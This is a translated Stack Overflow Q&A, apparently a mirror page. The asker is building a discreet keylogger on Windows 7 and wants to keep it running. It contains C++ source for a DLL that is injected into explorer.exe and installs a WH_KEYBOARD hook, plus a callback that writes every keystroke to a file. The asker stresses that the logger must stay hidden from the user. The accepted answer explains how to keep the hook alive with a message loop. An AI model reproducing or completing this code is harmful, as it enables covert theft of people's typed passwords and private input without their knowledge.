c++ - 在 explorer.exe 上注入(inject)的 dll 中的无限循环

标签 c++ windows dll-injection

我正在尝试在 Windows 7 上创建一个键盘记录器。为此,我创建了一个 Dll (setHook.dll),并将其注入(inject)到 explorer.exe 的新线程中。在第一个 DLL 中,我打开了另一个 DLL,其中包含一个在每个键盘输入上调用的函数 (hookfunc)。

我需要让我的 Dll 在后台运行,因为如果它死了,我就失去了我的 Hook 函数。 为此,我尝试过:

  • Sleep(INFINITE); :工作了片刻,但 explorer.exe 崩溃了
  • while(1); :工作了片刻,但 explorer.exe 崩溃了
  • system("pause"):工作!但我不希望控制台出现在屏幕上,我的键盘记录器必须谨慎。
  • getchar(): 同system("pause");
  • system("pause > null"); : 访问被拒绝
  • this_thread::sleep_for(chrono::seconds(10)):资源管理器崩溃

SetHook.dll :

BOOL WINAPI  DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
    HMODULE dll;
    HOOKPROC addr;
    HHOOK handle;

    if (dwReason != DLL_PROCESS_ATTACH)
        return true;
    if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
        return false;
    if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
        return false;
    if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
        return false;
    Sleep(INFINITE); //issue here
    return true;
}

CallbackFunc :(我认为它没有帮助)

LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
    std::ofstream file;
    WORD buf = 0;
    BYTE KeyState[256];
    file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
    if (code >= 0 && KEYUP(lParam))
    {
        if (wParam == VK_RETURN)
            file << "[ENTER]";
        else
        {
            GetKeyboardState(KeyState);
            ToAscii(wParam, lParam, KeyState, &buf, 0);
            file << (char)buf;
        }
    }
    file.close();
    return (CallNextHookEx(NULL, code, wParam, lParam));
}

代码有效,我只需要一个谨慎的无限循环而不是 Sleep(INFINITE)。有什么想法吗?

最佳答案

休眠在 DllMain 中几乎肯定是个坏主意。

我假设您正在尝试安装 global hook .为此,您需要运行 message loop在您的注入(inject)器应用程序中,即类似于:

while(GetMessage(&msg, NULL, 0, 0 ))
{ 
   TranslateMessage(&msg); 
   DispatchMessage(&msg); 
} 

关于c++ - 在 explorer.exe 上注入(inject)的 dll 中的无限循环,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/26588839/

相关文章:

c - 非阻塞 ReadConsoleInput

c++ - DLL中的CreateThread提前终止

dll-injection - DLL 注入(inject) - 它有什么可能?

c++ - 无法从远程进程中注入(inject)的 dll 调用函数

c++ - MFC-CArray 复制

c++ - 在 Windows 10 上使用 C++ 线程的问题(使用 g++ 作为编译器)

c++ - 初学者关于类型转换的问题

c++ - 不命名类型错误 C++

windows - Windows 8 上的 Hadoop 2.6

ruby-on-rails - 无法构建 gem native 扩展 - 找不到 extconf.rb